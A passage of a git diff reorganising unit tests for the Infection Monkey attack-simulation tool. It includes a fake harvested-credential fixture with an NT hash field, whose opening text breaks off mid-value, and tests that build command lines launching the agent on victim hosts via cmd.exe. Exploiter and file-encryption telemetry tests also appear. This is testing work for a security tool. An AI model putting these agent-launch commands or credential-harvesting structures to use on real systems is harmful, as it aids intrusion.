+ "session_id": 3,
+ "username": "Monkey",
+ "domainname": "ReAlDoMaIn",
+ "logon_server": "ReAlDoMaIn",
+ "logon_time": "2020-06-02T04:53:45.256562+00:00",
+ "sid": "S-1-6-25-260123139-3611579848-5589493929-3021",
+ "luid": 123086,
+ "msv_creds": [
+ {
+ "username": "monkey",
+ "domainname": "ReAlDoMaIn",
+ "NThash": b"1\xb7 dict:
+ return {"1": {"i": "a", "ii": "b"}}
+
+ def __eq__(self, other):
+ return self.get_data() == other.get_data() and self.telem_category == other.telem_category
+
+
+class BatchableTelemStub(BatchableTelemMixin, BaseTelem, IBatchableTelem):
+ def __init__(self, value, telem_category="cat1"):
+ self._telemetry_entries.append(value)
+ self._telem_category = telem_category
+
+ @property
+ def telem_category(self):
+ return self._telem_category
+
+ def send(self, log_data=True):
+ raise NotImplementedError
+
+ def get_data(self) -> dict:
+ return {"entries": self._telemetry_entries}
+
+
+# Note that this function is not a fixture. This is because BatchingTelemetyMessenger
+# stops its thread when it is destructed. If this were a fixture, it may live
+# past the end of the test, which would allow the in the BatchingTelemetryMessenger
+# instance to keep running instead of stopping
+def build_batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy):
+ patch_time(monkeypatch, 0)
+ return BatchingTelemetryMessenger(telemetry_messenger_spy, period=PERIOD)
+
+
+@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows")
+def test_send_immediately(monkeypatch, telemetry_messenger_spy):
+ batching_telemetry_messenger = build_batching_telemetry_messenger(
+ monkeypatch, telemetry_messenger_spy
+ )
+
+ telem = NonBatchableTelemStub()
+ batching_telemetry_messenger.send_telemetry(telem)
+ release_GIL()
+
+ try:
+ assert len(telemetry_messenger_spy.telemetries) == 1
+ assert telemetry_messenger_spy.telemetries[0] == telem
+ finally:
+ del batching_telemetry_messenger
+
+
+@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows")
+def test_send_telem_batch(monkeypatch, telemetry_messenger_spy):
+ batching_telemetry_messenger = build_batching_telemetry_messenger(
+ monkeypatch, telemetry_messenger_spy
+ )
+
+ try:
+ expected_data = {"entries": [1, 2]}
+ telem1 = BatchableTelemStub(1)
+ telem2 = BatchableTelemStub(2)
+
+ batching_telemetry_messenger.send_telemetry(telem1)
+ batching_telemetry_messenger.send_telemetry(telem2)
+ release_GIL()
+
+ assert len(telemetry_messenger_spy.telemetries) == 0
+ advance_clock_to_next_period(monkeypatch)
+ release_GIL()
+
+ assert len(telemetry_messenger_spy.telemetries) == 1
+ assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data
+ finally:
+ del batching_telemetry_messenger
+
+
+@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows")
+def test_send_different_telem_types(monkeypatch, telemetry_messenger_spy):
+ batching_telemetry_messenger = build_batching_telemetry_messenger(
+ monkeypatch, telemetry_messenger_spy
+ )
+
+ try:
+ telem1 = BatchableTelemStub(1, "cat1")
+ telem2 = BatchableTelemStub(2, "cat2")
+
+ batching_telemetry_messenger.send_telemetry(telem1)
+ batching_telemetry_messenger.send_telemetry(telem2)
+ release_GIL()
+
+ assert len(telemetry_messenger_spy.telemetries) == 0
+ advance_clock_to_next_period(monkeypatch)
+ release_GIL()
+
+ assert len(telemetry_messenger_spy.telemetries) == 2
+ assert telemetry_messenger_spy.telemetries[0] == telem1
+ assert telemetry_messenger_spy.telemetries[1] == telem2
+ finally:
+ del batching_telemetry_messenger
+
+
+@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows")
+def test_send_two_batches(monkeypatch, telemetry_messenger_spy):
+ batching_telemetry_messenger = build_batching_telemetry_messenger(
+ monkeypatch, telemetry_messenger_spy
+ )
+
+ try:
+ telem1 = BatchableTelemStub(1, "cat1")
+ telem2 = BatchableTelemStub(2, "cat1")
+
+ batching_telemetry_messenger.send_telemetry(telem1)
+ advance_clock_to_next_period(monkeypatch)
+ release_GIL()
+
+ batching_telemetry_messenger.send_telemetry(telem2)
+ release_GIL()
+ assert len(telemetry_messenger_spy.telemetries) == 1
+
+ advance_clock_to_next_period(monkeypatch)
+ release_GIL()
+
+ assert len(telemetry_messenger_spy.telemetries) == 2
+ assert telemetry_messenger_spy.telemetries[1] == telem2
+ finally:
+ del batching_telemetry_messenger
+
+
+@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows")
+def test_send_remaining_telem_after_stop(monkeypatch, telemetry_messenger_spy):
+ batching_telemetry_messenger = build_batching_telemetry_messenger(
+ monkeypatch, telemetry_messenger_spy
+ )
+
+ expected_data = {"entries": [1]}
+ telem = BatchableTelemStub(1)
+
+ batching_telemetry_messenger.send_telemetry(telem)
+ release_GIL()
+
+ try:
+ assert len(telemetry_messenger_spy.telemetries) == 0
+ finally:
+ del batching_telemetry_messenger
+
+ assert len(telemetry_messenger_spy.telemetries) == 1
+ assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data
diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
similarity index 87%
rename from monkey/infection_monkey/telemetry/tests/test_exploit_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
index 56d39fe06..6ecfeba1a 100644
--- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py
@@ -2,11 +2,10 @@ import json
import pytest
-from infection_monkey.exploit.wmiexec import WmiExploiter
+from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.model.host import VictimHost
from infection_monkey.telemetry.exploit_telem import ExploitTelem
-
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
HOST = VictimHost(IP, DOMAIN_NAME)
@@ -20,10 +19,10 @@ HOST_AS_DICT = {
"default_tunnel": None,
"default_server": None,
}
-EXPLOITER = WmiExploiter(HOST)
-EXPLOITER_NAME = "WmiExploiter"
+EXPLOITER = SSHExploiter(HOST)
+EXPLOITER_NAME = "SSHExploiter"
EXPLOITER_INFO = {
- "display_name": WmiExploiter._EXPLOITED_SERVICE,
+ "display_name": SSHExploiter._EXPLOITED_SERVICE,
"started": "",
"finished": "",
"vulnerable_urls": [],
diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py
new file mode 100644
index 000000000..b6d55b9d0
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py
@@ -0,0 +1,30 @@
+import json
+
+from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem
+
+ENCRYPTION_ATTEMPTS = [
+ {"path": "", "success": False, "error": ""},
+ {"path": "", "success": True, "error": ""},
+]
+
+
+def test_file_encryption_telem_send(spy_send_telemetry):
+ file_encryption_telem_1 = FileEncryptionTelem(
+ ENCRYPTION_ATTEMPTS[0]["path"],
+ ENCRYPTION_ATTEMPTS[0]["success"],
+ ENCRYPTION_ATTEMPTS[0]["error"],
+ )
+ file_encryption_telem_2 = FileEncryptionTelem(
+ ENCRYPTION_ATTEMPTS[1]["path"],
+ ENCRYPTION_ATTEMPTS[1]["success"],
+ ENCRYPTION_ATTEMPTS[1]["error"],
+ )
+
+ file_encryption_telem_1.add_telemetry_to_batch(file_encryption_telem_2)
+
+ file_encryption_telem_1.send()
+ expected_data = {"files": ENCRYPTION_ATTEMPTS}
+ expected_data = json.dumps(expected_data, cls=file_encryption_telem_1.json_encoder)
+
+ assert spy_send_telemetry.data == expected_data
+ assert spy_send_telemetry.telem_category == "file_encryption"
diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py
similarity index 99%
rename from monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py
index 4aaaedb08..d6ce48825 100644
--- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py
@@ -4,7 +4,6 @@ import pytest
from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
-
HOSTNAME = "hostname"
IP = "0.0.0.0"
PBA_COMMAND = "run some pba"
diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
similarity index 99%
rename from monkey/infection_monkey/telemetry/tests/test_scan_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
index 017a7d062..07c6fbf41 100644
--- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py
@@ -2,9 +2,8 @@ import json
import pytest
-from infection_monkey.telemetry.scan_telem import ScanTelem
from infection_monkey.model.host import VictimHost
-
+from infection_monkey.telemetry.scan_telem import ScanTelem
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py
similarity index 99%
rename from monkey/infection_monkey/telemetry/tests/test_state_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py
index fe7bb3293..18776f987 100644
--- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py
@@ -4,7 +4,6 @@ import pytest
from infection_monkey.telemetry.state_telem import StateTelem
-
IS_DONE = True
VERSION = "version"
diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py
similarity index 99%
rename from monkey/infection_monkey/telemetry/tests/test_system_info_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py
index 0caba8967..146919899 100644
--- a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py
@@ -4,7 +4,6 @@ import pytest
from infection_monkey.telemetry.system_info_telem import SystemInfoTelem
-
SYSTEM_INFO = {}
diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py
similarity index 99%
rename from monkey/infection_monkey/telemetry/tests/test_trace_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py
index 567750e96..0c4027a05 100644
--- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py
+++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py
@@ -4,7 +4,6 @@ import pytest
from infection_monkey.telemetry.trace_telem import TraceTelem
-
MSG = "message"
diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py
similarity index 100%
rename from monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py
rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py
diff --git a/monkey/infection_monkey/utils/linux/test_users.py b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py
similarity index 67%
rename from monkey/infection_monkey/utils/linux/test_users.py
rename to monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py
index 67a3a35d4..8b0408c0a 100644
--- a/monkey/infection_monkey/utils/linux/test_users.py
+++ b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py
@@ -9,7 +9,7 @@ TEST_USER = "test_user"
@pytest.fixture
def subprocess_check_output_spy(monkeypatch):
- def mock_check_output(command, stderr, shell):
+ def mock_check_output(command, stderr):
mock_check_output.command = command
mock_check_output.command = ""
@@ -21,11 +21,11 @@ def subprocess_check_output_spy(monkeypatch):
def test_new_user_expires(subprocess_check_output_spy):
with (AutoNewLinuxUser(TEST_USER, "password")):
- assert "--expiredate" in subprocess_check_output_spy.command
- assert "--inactive 0" in subprocess_check_output_spy.command
+ assert "--expiredate" in " ".join(subprocess_check_output_spy.command)
+ assert "--inactive 0" in " ".join(subprocess_check_output_spy.command)
def test_new_user_try_delete(subprocess_check_output_spy):
with (AutoNewLinuxUser(TEST_USER, "password")):
pass
- assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command
+ assert f"deluser {TEST_USER}" in " ".join(subprocess_check_output_spy.command)
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py
new file mode 100644
index 000000000..f0276b19d
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py
@@ -0,0 +1,7 @@
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import ( # noqa: F401, E501
+ PluginTester,
+)
+
+
+class SomeDummyPlugin:
+ pass
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py
new file mode 100644
index 000000000..821b2d063
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py
@@ -0,0 +1,6 @@
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester
+
+
+class BadPluginInit(PluginTester):
+ def __init__(self):
+ raise Exception("TestException")
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py
new file mode 100644
index 000000000..45f39738a
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py
@@ -0,0 +1,10 @@
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester
+
+
+class BadInit(PluginTester):
+ def __init__(self):
+ raise Exception("TestException")
+
+
+class ProperClass(PluginTester):
+ pass
diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py
similarity index 53%
rename from monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py
rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py
index 310cf7f2c..0220e0683 100644
--- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py
@@ -1,8 +1,9 @@
-import infection_monkey.utils.plugins.pluginTests
+import tests.unit_tests.infection_monkey.utils.plugins.pluginTests
+
from infection_monkey.utils.plugins.plugin import Plugin
-class TestPlugin(Plugin):
+class PluginTester(Plugin):
classes_to_load = []
@staticmethod
@@ -11,12 +12,12 @@ class TestPlugin(Plugin):
Decides if post breach action is enabled in config
:return: True if it needs to be ran, false otherwise
"""
- return class_name in TestPlugin.classes_to_load
+ return class_name in PluginTester.classes_to_load
@staticmethod
def base_package_file():
- return infection_monkey.utils.plugins.pluginTests.__file__
+ return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__file__
@staticmethod
def base_package_name():
- return infection_monkey.utils.plugins.pluginTests.__package__
+ return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__package__
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py
new file mode 100644
index 000000000..bae443c50
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py
@@ -0,0 +1,5 @@
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester
+
+
+class PluginWorking(PluginTester):
+ pass
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py
new file mode 100644
index 000000000..db1069bf0
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py
@@ -0,0 +1,38 @@
+from unittest import TestCase
+
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.ComboFile import (
+ BadInit,
+ ProperClass,
+)
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester
+from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking
+
+
+class TestPlugin(TestCase):
+ def test_combo_file(self):
+ PluginTester.classes_to_load = [BadInit.__name__, ProperClass.__name__]
+ to_init = PluginTester.get_classes()
+ self.assertEqual(len(to_init), 2)
+ objects = PluginTester.get_instances()
+ self.assertEqual(len(objects), 1)
+
+ def test_bad_init(self):
+ PluginTester.classes_to_load = [BadPluginInit.__name__]
+ to_init = PluginTester.get_classes()
+ self.assertEqual(len(to_init), 1)
+ objects = PluginTester.get_instances()
+ self.assertEqual(len(objects), 0)
+
+ def test_bad_import(self):
+ PluginTester.classes_to_load = [SomeDummyPlugin.__name__]
+ to_init = PluginTester.get_classes()
+ self.assertEqual(len(to_init), 0)
+
+ def test_flow(self):
+ PluginTester.classes_to_load = [PluginWorking.__name__]
+ to_init = PluginTester.get_classes()
+ self.assertEqual(len(to_init), 1)
+ objects = PluginTester.get_instances()
+ self.assertEqual(len(objects), 1)
diff --git a/monkey/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py
similarity index 100%
rename from monkey/infection_monkey/utils/test_auto_new_user_factory.py
rename to monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py
new file mode 100644
index 000000000..0b866f634
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py
@@ -0,0 +1,29 @@
+from infection_monkey.utils import bit_manipulators
+
+
+def test_flip_bits_in_single_byte():
+ for i in range(0, 256):
+ assert bit_manipulators.flip_bits_in_single_byte(i) == (255 - i)
+
+
+def test_flip_bits():
+ test_input = bytes(b"ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()")
+ expected_output = (
+ b"\xbe\xbd\xbc\xbb\xba\xb9\xb8\xb7\xb6\xb5\xb1\xb3\xb2\xb1\xb0\xaf\xae\xad"
+ b"\xac\xab\xaa\xa9\xa8\xa7\xa6\xa5\x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95"
+ b"\x91\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\xce\xcd"
+ b"\xcc\xcb\xca\xc9\xc8\xc7\xc6\xcf\xde\xbf\xdc\xdb\xda\xa1\xd9\xd5\xd7\xd6"
+ )
+
+ assert bit_manipulators.flip_bits(test_input) == expected_output
+
+
+def test_flip_bits__reversible():
+ test_input = bytes(
+ b"ABCDEFGHIJNLM\xffNOPQRSTUVWXYZabcde\xf5fghijnlmnopqr\xC3stuvwxyz1\x87234567890!@#$%^&*()"
+ )
+
+ test_output = bit_manipulators.flip_bits(test_input)
+ test_output = bit_manipulators.flip_bits(test_output)
+
+ assert test_input == test_output
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py
new file mode 100644
index 000000000..a3f210533
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py
@@ -0,0 +1,108 @@
+from infection_monkey.config import GUID
+from infection_monkey.model.host import VictimHost
+from infection_monkey.utils.commands import (
+ build_monkey_commandline,
+ build_monkey_commandline_explicitly,
+ get_monkey_commandline_linux,
+ get_monkey_commandline_windows,
+)
+
+
+def test_build_monkey_commandline_explicitly_arguments():
+ expected = [
+ "-p",
+ "101010",
+ "-t",
+ "10.10.101.10",
+ "-s",
+ "127.127.127.127:5000",
+ "-d",
+ "0",
+ "-l",
+ "C:\\windows\\abc",
+ "-vp",
+ "80",
+ ]
+ actual = build_monkey_commandline_explicitly(
+ "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", "80"
+ )
+
+ assert expected == actual
+
+
+def test_build_monkey_commandline_explicitly_depth_condition_less():
+ expected = [
+ "-d",
+ "0",
+ ]
+ actual = build_monkey_commandline_explicitly(depth=-50)
+
+ assert expected == actual
+
+
+def test_build_monkey_commandline_explicitly_depth_condition_greater():
+ expected = [
+ "-d",
+ "50",
+ ]
+ actual = build_monkey_commandline_explicitly(depth=50)
+
+ assert expected == actual
+
+
+def test_get_monkey_commandline_windows():
+ expected = [
+ "cmd.exe",
+ "/c",
+ "C:\\windows\\abc",
+ "m0nk3y",
+ "-p",
+ "101010",
+ "-t",
+ "10.10.101.10",
+ ]
+ actual = get_monkey_commandline_windows(
+ "C:\\windows\\abc",
+ [
+ "-p",
+ "101010",
+ "-t",
+ "10.10.101.10",
+ ],
+ )
+
+ assert expected == actual
+
+
+def test_get_monkey_commandline_linux():
+ expected = [
+ "/home/user/monkey-linux-64",
+ "m0nk3y",
+ "-p",
+ "101010",
+ "-t",
+ "10.10.101.10",
+ ]
+ actual = get_monkey_commandline_linux(
+ "/home/user/monkey-linux-64",
+ [
+ "-p",
+ "101010",
+ "-t",
+ "10.10.101.10",
+ ],
+ )
+
+ assert expected == actual
+
+
+def test_build_monkey_commandline():
+ example_host = VictimHost(ip_addr="bla")
+ example_host.set_default_server("101010")
+
+ expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80"
+ actual = build_monkey_commandline(
+ target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla"
+ )
+
+ assert expected == actual
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py
new file mode 100644
index 000000000..8ebddf280
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py
@@ -0,0 +1,127 @@
+import os
+
+import pytest
+from tests.utils import is_user_admin
+
+from infection_monkey.utils.dir_utils import (
+ file_extension_filter,
+ filter_files,
+ get_all_regular_files_in_directory,
+ is_not_shortcut_filter,
+ is_not_symlink_filter,
+)
+
+SHORTCUT = "shortcut.lnk"
+FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz", "2.png", "2.mpg", SHORTCUT]
+SUBDIRS = ["subdir1", "subdir2"]
+
+
+def add_subdirs_to_dir(parent_dir):
+ subdirs = [parent_dir / s for s in SUBDIRS]
+
+ for subdir in subdirs:
+ subdir.mkdir()
+
+ return subdirs
+
+
+def add_files_to_dir(parent_dir):
+ files = [parent_dir / f for f in FILES]
+
+ for f in files:
+ f.touch()
+
+ return files
+
+
+def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch):
+ add_subdirs_to_dir(tmp_path)
+
+ expected_return_value = []
+ assert get_all_regular_files_in_directory(tmp_path) == expected_return_value
+
+
+def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch):
+ add_subdirs_to_dir(tmp_path)
+ files = add_files_to_dir(tmp_path)
+
+ expected_return_value = sorted(files)
+ assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value
+
+
+def test_get_all_regular_files_in_directory__subdir_has_files(tmp_path, monkeypatch):
+ subdirs = add_subdirs_to_dir(tmp_path)
+ add_files_to_dir(subdirs[0])
+
+ files = add_files_to_dir(tmp_path)
+
+ expected_return_value = sorted(files)
+ assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value
+
+
+def test_filter_files__no_results(tmp_path):
+ add_files_to_dir(tmp_path)
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(files_in_dir, [lambda _: False])
+
+ assert len(filtered_files) == 0
+
+
+def test_filter_files__all_true(tmp_path):
+ files = add_files_to_dir(tmp_path)
+ expected_return_value = sorted(files)
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(files_in_dir, [lambda _: True])
+
+ assert sorted(filtered_files) == expected_return_value
+
+
+def test_filter_files__multiple_filters(tmp_path):
+ files = add_files_to_dir(tmp_path)
+ expected_return_value = sorted(files[4:6])
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(
+ files_in_dir, [lambda f: f.name.startswith("2"), lambda f: f.name.endswith("g")]
+ )
+
+ assert sorted(filtered_files) == expected_return_value
+
+
+def test_file_extension_filter(tmp_path):
+ valid_extensions = {".zip", ".xyz"}
+
+ files = add_files_to_dir(tmp_path)
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)])
+
+ assert sorted(files[0:2]) == sorted(filtered_files)
+
+
+@pytest.mark.skipif(
+ os.name == "nt" and not is_user_admin(), reason="Test requires admin rights on Windows"
+)
+def test_is_not_symlink_filter(tmp_path):
+ files = add_files_to_dir(tmp_path)
+ link_path = tmp_path / "symlink.test"
+ link_path.symlink_to(files[0], target_is_directory=False)
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(files_in_dir, [is_not_symlink_filter])
+
+ assert link_path in files_in_dir
+ assert len(filtered_files) == len(FILES)
+ assert link_path not in filtered_files
+
+
+def test_is_not_shortcut_filter(tmp_path):
+ add_files_to_dir(tmp_path)
+
+ files_in_dir = get_all_regular_files_in_directory(tmp_path)
+ filtered_files = filter_files(files_in_dir, [is_not_shortcut_filter])
+
+ assert len(filtered_files) == len(FILES) - 1
+ assert SHORTCUT not in [f.name for f in filtered_files]
diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py
new file mode 100644
index 000000000..bdd97cdfd
--- /dev/null
+++ b/monkey/tests/unit_tests/infection_monkey/utils/test_random_password_generator.py
@@ -0,0 +1,13 @@
+from infection_monkey.utils.random_password_generator import get_random_password
+
+
+def test_get_random_password__length():
+ password_byte_length = len(get_random_password().encode())
+ # 32 is the recommended secure byte length for secrets
+ assert password_byte_length >= 32
+
+
+def test_get_random_password__randomness():
+ random_password1 = get_random_password()
+ random_password2 = get_random_password()
+ assert not random_password1 == random_password2
diff --git a/monkey/tests/unit_tests/monkey_island/__init__.py b/monkey/tests/unit_tests/monkey_island/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/tests/unit_tests/monkey_island/cc/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py
new file mode 100644
index 000000000..c89c4c294
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py
@@ -0,0 +1,25 @@
+# Without these imports pytests can't use fixtures,
+# because they are not found
+import json
+import os
+
+import pytest
+from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402
+from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import (
+ MONKEY_CONFIGS_DIR_PATH,
+ STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME,
+)
+
+
+@pytest.fixture
+def monkey_config(data_for_tests_dir):
+ plaintext_monkey_config_standard_path = os.path.join(
+ data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME
+ )
+ plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read())
+ return plaintext_config
+
+
+@pytest.fixture
+def monkey_config_json(monkey_config):
+ return json.dumps(monkey_config)
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/environment/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py
new file mode 100644
index 000000000..767f765d9
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/environment/conftest.py
@@ -0,0 +1,23 @@
+import os
+
+import pytest
+
+
+@pytest.fixture(scope="module")
+def with_credentials(server_configs_dir):
+ return os.path.join(server_configs_dir, "server_config_with_credentials.json")
+
+
+@pytest.fixture(scope="module")
+def no_credentials(server_configs_dir):
+ return os.path.join(server_configs_dir, "server_config_no_credentials.json")
+
+
+@pytest.fixture(scope="module")
+def partial_credentials(server_configs_dir):
+ return os.path.join(server_configs_dir, "server_config_partial_credentials.json")
+
+
+@pytest.fixture(scope="module")
+def standard_with_credentials(server_configs_dir):
+ return os.path.join(server_configs_dir, "server_config_standard_with_credentials.json")
diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py
new file mode 100644
index 000000000..030f99169
--- /dev/null
+++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_environment.py
@@ -0,0 +1,157 @@
+import os
+import tempfile
+from typing import Dict
+from unittest import TestCase
